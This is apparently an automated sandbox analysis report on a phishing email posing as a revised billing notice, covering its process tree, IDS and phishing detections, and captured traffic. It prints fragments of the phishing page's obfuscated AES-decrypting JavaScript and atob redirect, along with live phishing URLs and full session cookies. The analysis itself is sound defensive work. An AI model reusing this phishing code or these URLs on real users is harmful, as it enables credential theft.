Edit tour

Windows Analysis Report
ACTION REQUIRED Revised Billing #NL992-071 From Robinson Aviation Inc.msg

Overview

General Information

Sample name:	ACTION REQUIRED Revised Billing #NL992-071 From Robinson Aviation Inc.msg
Analysis ID:	1551517
MD5:	0f6b4fd394daba6cf8bc89a956db437d
SHA1:	5ab562ec891fd0d75c46a74e2aefeca258808796
SHA256:	e6930eacb0759b4050e44730f21b2b1a1b7c0ed802970f521c98a5944d4d18c3
Infos:

Detection

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

AI detected landing page (webpage, office document or email)

AI detected potential phishing Email

HTML page contains suspicious javascript code

Phishing site detected (based on logo match)

Drops files with a non-matching file extension (content does not match file extension)

HTML body contains low number of good links

HTML body with high number of embedded images detected

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Javascript checks online IP of machine

Queries the volume information (name, serial number etc) of a device

Sigma detected: Office Autorun Keys Modification

Stores files to the Windows start menu directory

Stores large binary data to the registry

Suricata IDS alerts with low severity for network traffic

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64_ra

OUTLOOK.EXE (PID: 7036 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /f "C:\Users\user\Desktop\ACTION REQUIRED Revised Billing #NL992-071 From Robinson Aviation Inc.msg" MD5: 91A5292942864110ED734005B7E005C0)

ai.exe (PID: 6632 cmdline: "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "84C2E3EC-8E4B-495D-9750-4440F5AE7FC2" "94C3C0B5-FF0E-46B6-822C-C0EBA3FC55F0" "7036" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx" MD5: EC652BEDD90E089D9406AFED89A8A8BD)

chrome.exe (PID: 3972 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://ipmdoctor-my.sharepoint.com/:f:/g/personal/jkim_boomeranghc_com/EpVq1HiUlY9HllcA6glOI2YBVBULnFeWVghjboPmEsmlRg?e=LUjWtE MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7108 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=1852,i,17971103771708389508,15064143540458108808,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5136 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://ipmdoctor-my.sharepoint.com/:f:/g/personal/jkim_boomeranghc_com/EpVq1HiUlY9HllcA6glOI2YBVBULnFeWVghjboPmEsmlRg?e=LUjWtE MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2648 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=1908,i,11859605558598838766,15765309172020364921,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Sigma Signatures

Sigma detected: Office Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE, ProcessId: 7036, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Outlook\Addins\OneNote.OutlookAddin\1

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T20:00:56.923366+0100	2022930	1	A Network Trojan was detected	4.245.163.56	443	192.168.2.16	49709	TCP
2024-11-07T20:01:34.756537+0100	2022930	1	A Network Trojan was detected	4.245.163.56	443	192.168.2.16	49957	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://pub-3080d3652c0f47b18b2c244bf5856be6.r2.dev/0nedrivedoc.html

LLM: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The URL 'pub-3080d3652c0f47b18b2c244bf5856be6.r2.dev' does not match the legitimate domain 'microsoft.com'., The domain 'r2.dev' is not associated with Microsoft and appears to be a generic or cloud service domain., The presence of a long, random-looking subdomain 'pub-3080d3652c0f47b18b2c244bf5856be6' is suspicious and not typical for Microsoft., The input fields 'Email, phone, or Skype' are commonly targeted in phishing attempts, especially when associated with a well-known brand like Microsoft. DOM: 3.8.pages.csv

HTML page contains suspicious javascript code

Source: https://fowlervillefd.top/300/

HTTP Parser: window.location.href = atob(

Phishing site detected (based on logo match)

Source: https://pub-3080d3652c0f47b18b2c244bf5856be6.r2.dev/0nedrivedoc.html

Matcher: Template: microsoft matched

Source: https://pub-3080d3652c0f47b18b2c244bf5856be6.r2.dev/0nedrivedoc.html

HTTP Parser: Number of links: 0

Source: https://pub-3080d3652c0f47b18b2c244bf5856be6.r2.dev/0nedrivedoc.html

HTTP Parser: Total embedded image size: 45708

Source: https://pub-3080d3652c0f47b18b2c244bf5856be6.r2.dev/0nedrivedoc.html

HTTP Parser: Base64 decoded: <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><path d="M18,11.578v.844H7.617l3.921,3.928-.594.594L6,12l4.944-4.944.594.594L7.617,11.578Z" fill="#404040"/><path d="M10.944,7.056l.594.594L7.617,11.578H18v.844H7.617l3.9...

Source: https://pub-3080d3652c0f47b18b2c244bf5856be6.r2.dev/0nedrivedoc.html

HTTP Parser: Title: Profile login does not match URL

Source: https://fowlervillefd.top/300/

HTTP Parser: let current_ip = null;function tkh80o(plaintext, key) { const keysize = [16, 24, 32]; if (!keysize.includes(key.length)) { throw new error("incorrect aes key length. use a 16, 24, or 32 bytes key."); } // generate a random iv (initialization vector) const iv = cryptojs.lib.wordarray.random(16); // encrypt the plain text using aes with the given key and random iv const encrypted = cryptojs.aes.encrypt(cryptojs.enc.utf8.parse(plaintext), cryptojs.enc.utf8.parse(key), { iv: iv, mode: cryptojs.mode.cbc, padding: cryptojs.pad.pkcs7 }); // combine the iv and ciphertext (iv is necessary for decryption) const encrypteddata = iv.concat(encrypted.ciphertext); // convert the combined data to base64 for easy transmission or storage return cryptojs.enc.base64.stringify(encrypteddata);}let psk = "onasovosn0crzhprezucufrsmvlm2dw4zwzq986dgji9wubll5xgtriy/q4547iscsfm08obhexyuz2yfb+kug==";async function fcnpwd9tq() { try { const response = await fetch("ht...

Source: https://fowlervillefd.top/300/

HTTP Parser: let usuuid = "onasovosn0crzhprezucufrsmvlm2dw4zwzq986dgji9wubll5xgtriy/q4547iscsfm08obhexyuz2yfb+kug=="; let policy = "pxmvmec2r2ugrndvjdt/6gp5msx1bwn4czrd0lm5xy9mvsoya3rymff+cnjdqdxc";let sv = "0"; let sir = "1"; function decstr(encryptedstring, key) { const keysize = [16, 24, 32]; if (!keysize.includes(key.length)) { throw new error("incorrect aes key length. use a 16, 24, or 32 bytes key."); } const encrypteddata = cryptojs.enc.base64.parse(encryptedstring); const iv = cryptojs.lib.wordarray.create(encrypteddata.words.slice(0, 4)); const ciphertext = cryptojs.lib.wordarray.create( encrypteddata.words.slice(4) ); const decrypteddata = cryptojs.aes.decrypt( { ciphertext: ciphertext, }, cryptojs.enc.utf8.par...

Source: https://pub-3080d3652c0f47b18b2c244bf5856be6.r2.dev/0nedrivedoc.html	HTTP Parser: No favicon
Source: https://pub-3080d3652c0f47b18b2c244bf5856be6.r2.dev/0nedrivedoc.html	HTTP Parser: No favicon
Source: https://pub-3080d3652c0f47b18b2c244bf5856be6.r2.dev/0nedrivedoc.html	HTTP Parser: No favicon
Source: https://pub-3080d3652c0f47b18b2c244bf5856be6.r2.dev/0nedrivedoc.html	HTTP Parser: No favicon

Source: https://pub-3080d3652c0f47b18b2c244bf5856be6.r2.dev/0nedrivedoc.html

HTTP Parser: No <meta name="author".. found

Source: https://pub-3080d3652c0f47b18b2c244bf5856be6.r2.dev/0nedrivedoc.html

HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 40.126.31.71:443 -> 192.168.2.16:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.16:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.71:443 -> 192.168.2.16:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.16:49957 version: TLS 1.2

Source: Joe Sandbox View	IP Address: 151.101.66.137 151.101.66.137
Source: Joe Sandbox View	IP Address: 151.101.66.137 151.101.66.137
Source: Joe Sandbox View	IP Address: 172.66.0.235 172.66.0.235
Source: Joe Sandbox View	IP Address: 172.66.0.235 172.66.0.235

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.16:49709
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.16:49957

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=PMMWWd51ms2mLK+&MD=lOkep21k HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /:f:/g/personal/jkim_boomeranghc_com/EpVq1HiUlY9HllcA6glOI2YBVBULnFeWVghjboPmEsmlRg?e=LUjWtE HTTP/1.1Host: ipmdoctor-my.sharepoint.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /personal/jkim_boomeranghc_com/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fjkim%5Fboomeranghc%5Fcom%2FDocuments%2FRobinson%20Aviation%20Inc%20Doc%20Review%2Epdf&ga=1 HTTP/1.1Host: ipmdoctor-my.sharepoint.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2NiYTA3YWQ4NTQzOWZlYzg0ZTRiNTQ2YzM1MWJmYjdkOGNkZDQwOTRjY2E2NGJiMWQ1Y2NiNjE5ZTc5MGU0M2MsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jY2JhMDdhZDg1NDM5ZmVjODRlNGI1NDZjMzUxYmZiN2Q4Y2RkNDA5NGNjYTY0YmIxZDVjY2I2MTllNzkwZTQzYywxMzM3NTQ3OTk1OTAwMDAwMDAsMCwxMzM3NTU2NjA1OTY4NzcwNDUsMC4wLjAuMCwyNTgsZjU4ZmZhYWYtMDZkZS00MjcwLWE0MzAtYWVkODIxNDU4NDI1LCwsZDJhMjYxYTEtYjBjMC02MDAwLWVkYTMtYjNiMTEzMGQ2YThkLGQyYTI2MWExLWIwYzAtNjAwMC1lZGEzLWIzYjExMzBkNmE4ZCxHN0RGNFV4NzJrbUtvNHFqQzFoS2tnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQzOTcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLFRCN1VDRFkybUdGWG1VYjhhSktSc3piWWZ5MC9FVWlTNmlLQUhTQXNrQjRmSTVrdWh6ZHBMWjhUc25QeWgwaGVSVjhZeG1XQ2VNckhpV1ZRYzNjU091Z0ltZ2ZYUFIwUFhXVDJVbVJZUG91Tytwc1hiL1lqNnBZRUd0bjA0ZEZBSEVhbGM2YTNOdy96YWZjekZ0UzJ2cExNdERxR2RBdTlaV08wNTNHcjRQVUVUdm1sNEpZWWM4SWFkNkhSRS9KS2V3TDZGRTErcWs5NFh1YUgzcmg5blV1N0RoUkxQVWFkZVNuT3NKNmlacnBRU215eVNLRWN0ajkvSGdvV01maFBnWmFSVnRXamxTbm9rbW0wZ2JLeFNCcWtrb1F6M0RxZ25nSzduRi9zdURRSkoycE1iTTVzNm80d21uU28xMnhJMWVTeFdlbGlEcXpISFhzMEVKbkFSQT09PC9TUD4=
Source: global traffic	HTTP traffic detected: GET /_layouts/15/spwebworkerproxy.ashx HTTP/1.1Host: ipmdoctor-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2NiYTA3YWQ4NTQzOWZlYzg0ZTRiNTQ2YzM1MWJmYjdkOGNkZDQwOTRjY2E2NGJiMWQ1Y2NiNjE5ZTc5MGU0M2MsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jY2JhMDdhZDg1NDM5ZmVjODRlNGI1NDZjMzUxYmZiN2Q4Y2RkNDA5NGNjYTY0YmIxZDVjY2I2MTllNzkwZTQzYywxMzM3NTQ3OTk1OTAwMDAwMDAsMCwxMzM3NTU2NjA1OTY4NzcwNDUsMC4wLjAuMCwyNTgsZjU4ZmZhYWYtMDZkZS00MjcwLWE0MzAtYWVkODIxNDU4NDI1LCwsZDJhMjYxYTEtYjBjMC02MDAwLWVkYTMtYjNiMTEzMGQ2YThkLGQyYTI2MWExLWIwYzAtNjAwMC1lZGEzLWIzYjExMzBkNmE4ZCxHN0RGNFV4NzJrbUtvNHFqQzFoS2tnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQzOTcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLFRCN1VDRFkybUdGWG1VYjhhSktSc3piWWZ5MC9FVWlTNmlLQUhTQXNrQjRmSTVrdWh6ZHBMWjhUc25QeWgwaGVSVjhZeG1XQ2VNckhpV1ZRYzNjU091Z0ltZ2ZYUFIwUFhXVDJVbVJZUG91Tytwc1hiL1lqNnBZRUd0bjA0ZEZBSEVhbGM2YTNOdy96YWZjekZ0UzJ2cExNdERxR2RBdTlaV08wNTNHcjRQVUVUdm1sNEpZWWM4SWFkNkhSRS9KS2V3TDZGRTErcWs5NFh1YUgzcmg5blV1N0RoUkxQVWFkZVNuT3NKNmlacnBRU215eVNLRWN0ajkvSGdvV01maFBnWmFSVnRXamxTbm9rbW0wZ2JLeFNCcWtrb1F6M0RxZ25nSzduRi9zdURRSkoycE1iTTVzNm80d21uU28xMnhJMWVTeFdlbGlEcXpISFhzMEVKbkFSQT09PC9TUD4=
Source: global traffic	HTTP traffic detected: GET /_layouts/15/spwebworkerproxy.ashx HTTP/1.1Host: ipmdoctor-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2NiYTA3YWQ4NTQzOWZlYzg0ZTRiNTQ2YzM1MWJmYjdkOGNkZDQwOTRjY2E2NGJiMWQ1Y2NiNjE5ZTc5MGU0M2MsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jY2JhMDdhZDg1NDM5ZmVjODRlNGI1NDZjMzUxYmZiN2Q4Y2RkNDA5NGNjYTY0YmIxZDVjY2I2MTllNzkwZTQzYywxMzM3NTQ3OTk1OTAwMDAwMDAsMCwxMzM3NTU2NjA1OTY4NzcwNDUsMC4wLjAuMCwyNTgsZjU4ZmZhYWYtMDZkZS00MjcwLWE0MzAtYWVkODIxNDU4NDI1LCwsZDJhMjYxYTEtYjBjMC02MDAwLWVkYTMtYjNiMTEzMGQ2YThkLGQyYTI2MWExLWIwYzAtNjAwMC1lZGEzLWIzYjExMzBkNmE4ZCxHN0RGNFV4NzJrbUtvNHFqQzFoS2tnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQzOTcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLFRCN1VDRFkybUdGWG1VYjhhSktSc3piWWZ5MC9FVWlTNmlLQUhTQXNrQjRmSTVrdWh6ZHBMWjhUc25QeWgwaGVSVjhZeG1XQ2VNckhpV1ZRYzNjU091Z0ltZ2ZYUFIwUFhXVDJVbVJZUG91Tytwc1hiL1lqNnBZRUd0bjA0ZEZBSEVhbGM2YTNOdy96YWZjekZ0UzJ2cExNdERxR2RBdTlaV08wNTNHcjRQVUVUdm1sNEpZWWM4SWFkNkhSRS9KS2V3TDZGRTErcWs5NFh1YUgzcmg5blV1N0RoUkxQVWFkZVNuT3NKNmlacnBRU215eVNLRWN0ajkvSGdvV01maFBnWmFSVnRXamxTbm9rbW0wZ2JLeFNCcWtrb1F6M0RxZ25nSzduRi9zdURRSkoycE1iTTVzNm80d21uU28xMnhJMWVTeFdlbGlEcXpISFhzMEVKbkFSQT09PC9TUD4=
Source: global traffic	HTTP traffic detected: GET /personal/jkim_boomeranghc_com/_api/v2.1/graphql HTTP/1.1Host: ipmdoctor-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2NiYTA3YWQ4NTQzOWZlYzg0ZTRiNTQ2YzM1MWJmYjdkOGNkZDQwOTRjY2E2NGJiMWQ1Y2NiNjE5ZTc5MGU0M2MsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jY2JhMDdhZDg1NDM5ZmVjODRlNGI1NDZjMzUxYmZiN2Q4Y2RkNDA5NGNjYTY0YmIxZDVjY2I2MTllNzkwZTQzYywxMzM3NTQ3OTk1OTAwMDAwMDAsMCwxMzM3NTU2NjA1OTY4NzcwNDUsMC4wLjAuMCwyNTgsZjU4ZmZhYWYtMDZkZS00MjcwLWE0MzAtYWVkODIxNDU4NDI1LCwsZDJhMjYxYTEtYjBjMC02MDAwLWVkYTMtYjNiMTEzMGQ2YThkLGQyYTI2MWExLWIwYzAtNjAwMC1lZGEzLWIzYjExMzBkNmE4ZCxHN0RGNFV4NzJrbUtvNHFqQzFoS2tnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQzOTcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLFRCN1VDRFkybUdGWG1VYjhhSktSc3piWWZ5MC9FVWlTNmlLQUhTQXNrQjRmSTVrdWh6ZHBMWjhUc25QeWgwaGVSVjhZeG1XQ2VNckhpV1ZRYzNjU091Z0ltZ2ZYUFIwUFhXVDJVbVJZUG91Tytwc1hiL1lqNnBZRUd0bjA0ZEZBSEVhbGM2YTNOdy96YWZjekZ0UzJ2cExNdERxR2RBdTlaV08wNTNHcjRQVUVUdm1sNEpZWWM4SWFkNkhSRS9KS2V3TDZGRTErcWs5NFh1YUgzcmg5blV1N0RoUkxQVWFkZVNuT3NKNmlacnBRU215eVNLRWN0ajkvSGdvV01maFBnWmFSVnRXamxTbm9rbW0wZ2JLeFNCcWtrb1F6M0RxZ25nSzduRi9zdURRSkoycE1iTTVzNm80d21uU28xMnhJMWVTeFdlbGlEcXpISFhzMEVKbkFSQT09PC9TUD4=
Source: global traffic	HTTP traffic detected: GET /_layouts/15/images/odbfavicon.ico?rev=47 HTTP/1.1Host: ipmdoctor-my.sharepoint.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ipmdoctor-my.sharepoint.com/personal/jkim_boomeranghc_com/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fjkim%5Fboomeranghc%5Fcom%2FDocuments%2FRobinson%20Aviation%20Inc%20Doc%20Review%2Epdf&ga=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2NiYTA3YWQ4NTQzOWZlYzg0ZTRiNTQ2YzM1MWJmYjdkOGNkZDQwOTRjY2E2NGJiMWQ1Y2NiNjE5ZTc5MGU0M2MsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jY2JhMDdhZDg1NDM5ZmVjODRlNGI1NDZjMzUxYmZiN2Q4Y2RkNDA5NGNjYTY0YmIxZDVjY2I2MTllNzkwZTQzYywxMzM3NTQ3OTk1OTAwMDAwMDAsMCwxMzM3NTU2NjA1OTY4NzcwNDUsMC4wLjAuMCwyNTgsZjU4ZmZhYWYtMDZkZS00MjcwLWE0MzAtYWVkODIxNDU4NDI1LCwsZDJhMjYxYTEtYjBjMC02MDAwLWVkYTMtYjNiMTEzMGQ2YThkLGQyYTI2MWExLWIwYzAtNjAwMC1lZGEzLWIzYjExMzBkNmE4ZCxHN0RGNFV4NzJrbUtvNHFqQzFoS2tnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQzOTcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLFRCN1VDRFkybUdGWG1VYjhhSktSc3piWWZ5MC9FVWlTNmlLQUhTQXNrQjRmSTVrdWh6ZHBMWjhUc25QeWgwaGVSVjhZeG1XQ2VNckhpV1ZRYzNjU091Z0ltZ2ZYUFIwUFhXVDJVbVJZUG91Tytwc1hiL1lqNnBZRUd0bjA0ZEZBSEVhbGM2YTNOdy96YWZjekZ0UzJ2cExNdERxR2RBdTlaV08wNTNHcjRQVUVUdm1sNEpZWWM4SWFkNkhSRS9KS2V3TDZGRTErcWs5NFh1YUgzcmg5blV1N0RoUkxQVWFkZVNuT3NKNmlacnBRU215eVNLRWN0ajkvSGdvV01maFBnWmFSVnRXamxTbm9rbW0wZ2JLeFNCcWtrb1F6M0RxZ25nSzduRi9zdURRSkoycE1iTTVzNm80d21uU28xMnhJMWVTeFdlbGlEcXpISFhzMEVKbkFSQT09PC9TUD4=; FeatureOverrides_experiments=[]
